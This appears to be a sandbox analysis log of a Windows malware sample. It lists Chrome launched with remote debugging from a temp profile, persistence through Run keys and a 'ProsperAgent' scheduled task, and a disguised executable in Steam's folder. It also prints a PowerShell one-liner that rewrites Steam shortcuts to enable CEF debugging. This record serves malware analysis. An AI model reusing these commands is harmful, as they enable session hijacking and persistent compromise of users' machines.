                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3296,i,11956680075123728935,6377685001986495439,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:1
                                                                                      4⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:4652
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3324,i,14324506355416493835,17062064758421800919,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:1
                                                                                      4⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:3592
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4012,i,10396716922756686206,15656048431263489500,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:1
                                                                                      4⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:4820
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4008,i,11843454341323564538,9878108318658021358,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:2
                                                                                      4⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:5872
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4748,i,10080730560817051900,10744681039914347177,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:2
                                                                                      4⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:5136
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3440,i,8947375762798122717,2824370526781082855,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:1
                                                                                      4⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:3640
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=2892,i,4807995963599676941,8358732986071188614,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:8
                                                                                      4⤵
                                                                                        PID:3484
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5704,i,17204716770659573658,1237315787376986922,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:8
                                                                                        4⤵
                                                                                          PID:6692
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5796,i,7406992594081711439,202806819867843904,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:1
                                                                                          4⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:6780
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5832,i,9494379309769189916,8680141442947414175,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:1
                                                                                          4⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:6792
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6136,i,14891222921517958741,11677772198877833387,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:1
                                                                                          4⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:6932
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5988,i,7625001344683882024,5594939347210844652,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:1
                                                                                          4⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:4036
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6216,i,9328154214915771333,1974655406527681920,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
                                                                                          4⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:7060
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5868,i,2968022649339552440,12387750484490324218,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:1
                                                                                          4⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:7400
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6624,i,468169597298241846,13923814207192349390,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:1
                                                                                          4⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:8152
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6760,i,2276817731423720650,1772355688625927346,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:1
                                                                                          4⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:8620
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=7376,i,4936734686901435813,2286224146486609574,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=7392 /prefetch:8
                                                                                          4⤵
                                                                                            PID:10044
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=7548,i,6711525664529098344,11533160040889278673,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=7560 /prefetch:8
                                                                                            4⤵
                                                                                              PID:9096
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6520,i,8843621556167520518,11081609561959650493,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:8
                                                                                              4⤵
                                                                                                PID:4988
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=3912,i,11739162846092364619,1771904714812567357,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:8
                                                                                                4⤵
                                                                                                  PID:11472
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6388,i,3158321777968101438,17842882136754023055,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:8
                                                                                                  4⤵
                                                                                                    PID:11480
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=4492,i,12092857491091056186,8818817644967546695,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:8
                                                                                                    4⤵
                                                                                                      PID:11816
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=4688,i,17818335543255296819,12199268218866215902,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6604 /prefetch:2
                                                                                                      4⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:16284
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=6332,i,7341506676338413952,10499488987044158272,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:1
                                                                                                      4⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:16664
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=6292,i,10067547069347774040,9639641069254586298,2097152 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:2
                                                                                                      4⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:16708
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=4496,i,16053397155095449777,16424160356461650326,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:8
                                                                                                      4⤵
                                                                                                        PID:17944
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6600,i,17575755408541577933,1709404567467599781,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6564 /prefetch:8
                                                                                                        4⤵
                                                                                                          PID:17952
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6288,i,14416395360572899227,8867086035273631006,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:8
                                                                                                          4⤵
                                                                                                            PID:17960
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6308,i,3310180487115229568,3636919150197198603,262144 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:8
                                                                                                            4⤵
                                                                                                              PID:21060
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=1244,i,508484395336417954,8538821867736769613,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
                                                                                                              4⤵
                                                                                                                PID:6436
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\p.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\p.exe"
                                                                                                          1⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Adds Run key to start application
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:22840
                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                            schtasks /create /sc onlogon /tn ProsperAgent /tr \"C:\Users\Admin\AppData\Local\Temp\p.exe\" /rl limited /f
                                                                                                            2⤵
                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                            PID:22808
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @($env:USERPROFILE + '\Desktop', $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $lnk = $shell.CreateShortcut($_.FullName); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $args = ($lnk.Arguments | Out-String).Trim(); $missing = @($flags | Where-Object { $args -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($args, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $_.FullName } catch {} } }; $patched -join ';'"
                                                                                                            2⤵
                                                                                                            • Hide Artifacts: Ignore Process Interrupts
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:22764
                                                                                                          • C:\Program Files (x86)\Steam\Steam.exe
                                                                                                            "C:\Program Files (x86)\Steam\Steam.exe" -shutdown
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:12956
                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                            taskkill /t /f /pid 3452
                                                                                                            2⤵
                                                                                                            • Kills process with taskkill
                                                                                                            PID:12708
                                                                                                        • C:\Program Files (x86)\Steam\crash_reports\gameoverlayui.exe
                                                                                                          "C:\Program Files (x86)\Steam\crash_reports\gameoverlayui.exe"
                                                                                                          1⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Adds Run key to start application
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:22792
                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                            schtasks /create /sc onlogon /tn ProsperAgent /tr "\"C:\Program Files (x86)\Steam\crash_reports\gameoverlayui.exe\"" /rl limited /f
                                                                                                            2⤵
                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                            PID:22732
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @($env:USERPROFILE + '\Desktop', $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $lnk = $shell.CreateShortcut($_.FullName); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $args = ($lnk.Arguments | Out-String).Trim(); $missing = @($flags | Where-Object { $args -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($args, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $_.FullName } catch {} } }; $patched -join ';'"
                                                                                                            2⤵
                                                                                                            • Hide Artifacts: Ignore Process Interrupts
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:22648
                                                                                                          • C:\Program Files (x86)\Steam\Steam.exe
                                                                                                            "C:\Program Files (x86)\Steam\Steam.exe" -shutdown
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:12964
                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                            taskkill /t /f /pid 3452
                                                                                                            2⤵
                                                                                                            • Kills process with taskkill
                                                                                                            PID:12756
                                                                                                        • C:\Program Files (x86)\Steam\Steam.exe
                                                                                                          "C:\Program Files (x86)\Steam\Steam.exe"
                                                                                                          1⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Drops file in Program Files directory
                                                                                                          • Checks SCSI registry key(s)
                                                                                                          • Checks processor information in registry
                                                                                                          • Modifies registry class
                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:22124
                                                                                                          • C:\Program Files (x86)\Steam\steamsysinfo.exe
                                                                                                            "C:\Program Files (x86)\Steam\steamsysinfo.exe" -steamid 0 -buildid 1784778118 -logdir "C:\Program Files (x86)\Steam\logs" -nocrashdialog -query 1 -out-file C:\Users\Admin\AppData\Local\Temp\7830.tmp
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:22100
                                                                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" -nocrashdialog "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=22124" "-buildid=1784778118" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-uimode=7" "-startcount=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" "-steampath=C:\Program Files (x86)\Steam\Steam.exe" "-launcher=0" --valve-enable-site-isolation --enable-smooth-scrolling "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-component-update "--gaia-url=http://disabled.invalid" "--enable-features=PlatformHEVCDecoderSupport" "--disable-features=WinRetrieveSuggestionsOnlyOnDemand,SpareRendererForSitePerProcess,DcheckIsFatal,BlockPromptsIfIgnoredOften,WebUsbDeviceDetection,ValveFFmpegAllowLowDelayHEVC"
                                                                                                            2⤵
                                                                                                            • Checks computer location settings
                                                                                                            • Executes dropped EXE
                                                                                                            • Checks processor information in registry
                                                                                                            • Enumerates system info in registry
                                                                                                            PID:22048
                                                                                                            • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                                                              "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=crashpad-handler /prefetch:4 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1784778118 --initial-client-data=0x28c,0x290,0x294,0x288,0x298,0x7ff8cb4eaea0,0x7ff8cb4eaeac,0x7ff8cb4eaeb8
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:22020
                                                                                                            • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                                                              "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1956,i,11146380165603977575,103151426195790636,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=1968 --mojo-platform-channel-handle=1948 /prefetch:2
